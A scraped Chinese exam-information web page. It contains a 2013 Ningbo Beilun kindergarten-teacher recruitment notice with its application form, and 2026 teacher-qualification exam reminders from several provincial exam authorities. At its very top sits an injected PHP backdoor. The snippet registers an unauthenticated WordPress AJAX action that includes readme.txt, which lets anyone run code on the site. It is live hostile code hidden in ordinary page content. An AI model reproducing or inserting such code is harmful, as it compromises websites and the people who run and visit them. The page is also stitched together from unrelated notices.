if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
宁波市北仑区2014年公开招聘幼儿教师32名-全国教师资格考试网

宁波市北仑区2014年公开招聘幼儿教师32名

  为加强北仑幼教队伍建设,根据《关于宁波市教育系统事业单位公开招聘工作人员的实施意见》(甬教人〔2008〕12号)、《北仑区(开发区)招录公务员、事业编制人员工作纪律监督程序暂行规定》(仑纪发[2006]10号)有关精神,经研究,决定公开招聘一批事业性质幼儿教师。现将有关事项公告如下:
一、招聘原则
1.条件公开,操作规范,公平公正;
2.岗位公开,标准统一,接受监督;
3.程序公开,笔试面试,择优聘用。
二、招聘时间、地点
1.招聘时间:2013年12月-2014年1月;
2.招聘地点:宁波市北仑区(具体另行公告)。
三、招聘岗位及指标
幼儿教师32名;
四、招聘对象及条件
1.基本条件
(1)热爱幼儿教育事业,思想品德端正,遵纪守法,具备良好职业道德,无违纪及违法记录;
(2)具有国家承认的大专及以上学历;
(3)具有幼儿教师资格证(2014届毕业生限至2016年6月底前取得,未取得的不再续聘);
(4)身体健康,符合教师所必备的身体条件;
(5)年龄在35周岁以下(1978年11月30日后出生)。
2.招聘对象(符合下列条件之一)
(1)浙江师范大学、杭州师范大学、宁波大学、宁波教育学院2014届全日制普通高校学前教育专业大专及以上学历应届毕业生;
(2)宁波市生源的2014届全日制普通高校学前教育专业大专及以上学历应届毕业生;
(3)2012年10月1日前已在北仑区内幼儿园任教,并至今仍在北仑区内幼儿园任教的具有幼儿园教师资格证的幼儿园自聘教师;
(4)2013年10月1日前已在北仑区幼儿园任教,并至今仍在北仑区幼儿园任教的2013届全日制普通高校学前教育专业大专及以上学历毕业生。
五、招聘程序和办法
(一)报名
1.报名时间:2013年12月17日~12月22日,其它时间段不作受理。
2.报名办法:采用网络报名。登陆网上报名系统(http://bm.bledu.net.cn/xm_read.php?id=50),填写相关信息并上传《北仑区教育局公开招聘幼儿园教师报名表》(见附件一,可下载)。本次报名不受理已被滨海教育集团录用的应聘者。
3.咨询电话:0574—86784439,86781911,薛老师,刘老师。
(二)资格审查
1.初审。对网络报名信息进行初审,12月25日前在北仑教科网(www.bledu.net.cn)上公布参加笔试人员名单及笔试时间、地点等。如果学科报名人数不足招聘指标3倍的,则酌减或取消招聘指标。
2.复核
网络报名的学生在笔试当天开考前60分钟到相关考点提交审核材料,资格材料包括以下内容:
(1)身份证、就业推荐表和就业协议书以及与招聘条件相关的证件等有效证明材料。以上证件和证明材料需随带原件并上交复印件。
(2)《北仑区教育局公开招聘幼儿园教师报名表》(见附件一),贴好近期一寸照片,附上相关资料复印件。其中已在工作的,需在报名表的相应栏目中写上单位意见。
复核未通过的考生考试成绩无效。 
(三)考试
1.考试形式:考试分笔试和面试。
(1)笔试:主要测试专业知识和能力;
(2)面试:形式为说课和术课。
术课包括特长展示、绘画、弹唱等技能测试。技能测试所需用具均自备,考场只备钢琴、播放乐曲的录音机。
2.考试时间及地点
(1)笔试:初定12月29日,具体时间及地点另行通知。
(2)面试:面试名单及时间、地点等另行通知。
(3)面试入围人员确定办法:根据应聘人员的笔试成绩,从高分到低分按录用指标的2倍确定面试名单。
(4)计分办法:
笔试成绩、面试成绩均实行百分制,各按50%计入总分,面试成绩中说课、特长展示、弹唱、绘画按20%:10%:10%:10%计入总分,说课成绩或术课总成绩不合格(按百分制计算,不足60分)的不予录用。
(四)体检
根据总成绩从高分到低分按学科岗位指标1∶1的比例确定体检对象并组织体检,体检参照《浙江省人事厅、浙江省卫生厅转发人事部卫生部关于印发<公务员录用体检通用标准(试行)>的通知》(浙人公〔2005〕68号)及人力资源社会保障部、卫生部《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用操作手册(试行)〉》(人社部发〔2010〕19号)等执行。拟录用人员放弃体检或未按时参加体检的,视作放弃录用资格。体检不合格者淘汰,空缺名额不递补。体检时间、地点另行通知,费用自理。
(五)考察
体检合格人员为被考察对象,考察办法参照公务员录用办法等,考察不合格者不予录用。
(六)录用
(1)考察合格者为拟录用对象,经公示7天无异议的,应聘者与教育局签订就业协议书,待毕业派遣报到后,办理录用手续。公示期间有异议的,经核实如不具备录用条件的,取消录用资格,造成招聘职位不足或空缺不再递补。
(2)拟录用人员逾期不按规定报到的,或不能在2014年7月31日前取得规定学历证书的取消录用资格。拟录用人员取消录用资格的空缺指标不再递补。
(3)拟录用人员正式报到前,如发现个人档案中有不符合录用规定的,取消录用资格。
(4)新录用的人员按有关规定与学校签订聘用合同,并实行为期一年的见习期,见习期(试用期)满经考核合格,能胜任教育教学工作的,与学校签订正式聘用合同;如见习期(试用期)满经考核不能胜任教育教学工作的或二年内不能取得相应教师资格证的,解除聘用关系,人事档案转至北仑区人才交流中心。
(5)新录用人员中属农业家庭户的,必须在试用期间,办理农转非迁户手续;没有办理的,在试用期期满时,解除聘用合同,人事档案转至北仑区人才交流中心。
(6)新录用人员的工资福利待遇按有关规定执行。
(7)录用人员需服从区教育局统一调配,幼儿园教师原则上到非公立幼儿园工作。新录用人员实行五年服务期制度,服务期内不办理调动手续(区内教育系统校间调动除外)。
六、其他:
1.有关招聘信息请随时关注北仑教科网;
2.未尽事项由宁波市北仑区人社局与教育局协商确定。
3.联系电话:0574—86784439或86781911,联系人:薛老师,刘老师
4.监督电话:北仑区人力社保局:0574—86780593、北仑区教育局纪检室:0574-86781910

宁波市北仑区教育局
2013年12月9日

附件一:北仑区教育局公开招聘幼儿园教师报名表

姓名   性别   民族   籍贯   贴照片处
出生
年月日
  政治
面貌
 
学历   学校名称 起止时间 专业 学历 学位
全日制教育          
在职教育          
教师资格证取得情况
 
现户籍地   通讯方式
(手机与座机)
 
详细通讯
地址
 
现工作单位  
主要学习、工作经历  
应聘理由及其他需要说明问题  
本人填写信息核对情况 本表所填写内容完全属实,如有作假,一经查实,愿意取消报考资格。
 
申请人签名:
 
              年 月 日
资格初审意见(工作单位填写,仅限历届生) 工作单位意见:(仅限历届生)
 
 
负责人签名:
 
            年 月 日

注:本表于笔试前递交。联系电话:0574-86784439或86781911
附件二:报名材料清单
1.身份证原件及复印件
2.学历证书原件及复印件(2014届毕业生提供《毕业生就业推荐表》)
3.资格证书原件及复印件
4.工作经历(单位盖章)等其他能证明符合报名条件的材料

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部